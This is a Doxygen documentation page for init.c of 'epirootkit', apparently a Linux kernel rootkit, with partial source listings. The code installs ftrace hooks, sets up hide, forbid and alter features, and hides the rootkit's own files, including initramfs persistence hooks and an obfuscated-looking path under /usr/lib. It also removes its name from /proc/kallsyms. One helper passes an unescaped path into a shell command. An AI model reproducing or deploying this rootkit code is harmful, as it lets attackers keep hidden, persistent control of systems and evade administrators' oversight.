#include "init.h"
#include "alterate_api.h"
#include "epirootkit.h"
#include "forbid_api.h"
#include "ftrace.h"
#include "hide_api.h"
Go to the source code of this file.
◆ ALTERATE_CFG_FILE_FULL_PATH
◆ FORBID_CFG_FILE_FULL_PATH
◆ HIDE_CFG_FILE_FULL_PATH
Definition at line 9 of file init.c.
◆ HIDE_PORT_CFG_FILE_FULL_PATH
◆ create_dir()
| int create_dir |
( |
char * |
path | ) |
|
Definition at line 107 of file init.c.
107 {
108 char cmd[128];
109 int rc;
110
111 snprintf(cmd, sizeof(cmd), "mkdir -p -- %s", path);
113 if (rc < 0)
114 return rc;
115
117}
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
◆ exit_interceptor()
| void exit_interceptor |
( |
void |
| ) |
|
Definition at line 99 of file init.c.
99 {
101
105}
struct ftrace_hook hooks[]
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
Remove multiple ftrace hooks.
◆ init_interceptor()
| int init_interceptor |
( |
void |
| ) |
|
Definition at line 14 of file init.c.
14 {
15 int err;
16
18 if (err) {
20 return err;
21 }
22
24 if (err) {
25 ERR_MSG(
"init: alterate_init() failed: %d\n", err);
26 return err;
27 }
28
30 if (err) {
31 ERR_MSG(
"init: forbid_init() failed: %d\n", err);
32 return err;
33 }
34
36 if (err) {
37 ERR_MSG(
"init: hide_init() failed: %d\n", err);
38 return err;
39 }
40
42 if (err) {
43 ERR_MSG(
"init: hide_port_init() failed: %d\n", err);
44 return err;
45 }
46
48 if (err) {
49 ERR_MSG(
"init: failed to install hooks\n");
50 return err;
51 }
52
53
59
60
66
67
69
70
71 alterate_add(
"/proc/kallsyms", -1,
"epirootkit", NULL, NULL);
72
73
74 hide_file(
"/usr/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv");
76
77
78
79
80
81
82
83
84 hide_file(
"/etc/initramfs-tools/hooks/epirootkit");
85 hide_file(
"/etc/initramfs-tools/scripts/init-premount/epirootkit-load");
87
88
90
91
92#if !(defined(DEBUG) && DEBUG)
94#endif
95
97}
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
#define ERR_MSG(fmt, args...)
int forbid_file(const char *path)
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
Install multiple ftrace hooks.
int hide_file(const char *path)
int hide_port(const char *port)
int create_dir(char *path)
#define FORBID_CFG_FILE_FULL_PATH
#define ALTERATE_CFG_FILE_FULL_PATH
#define HIDE_CFG_FILE_FULL_PATH
#define HIDE_PORT_CFG_FILE_FULL_PATH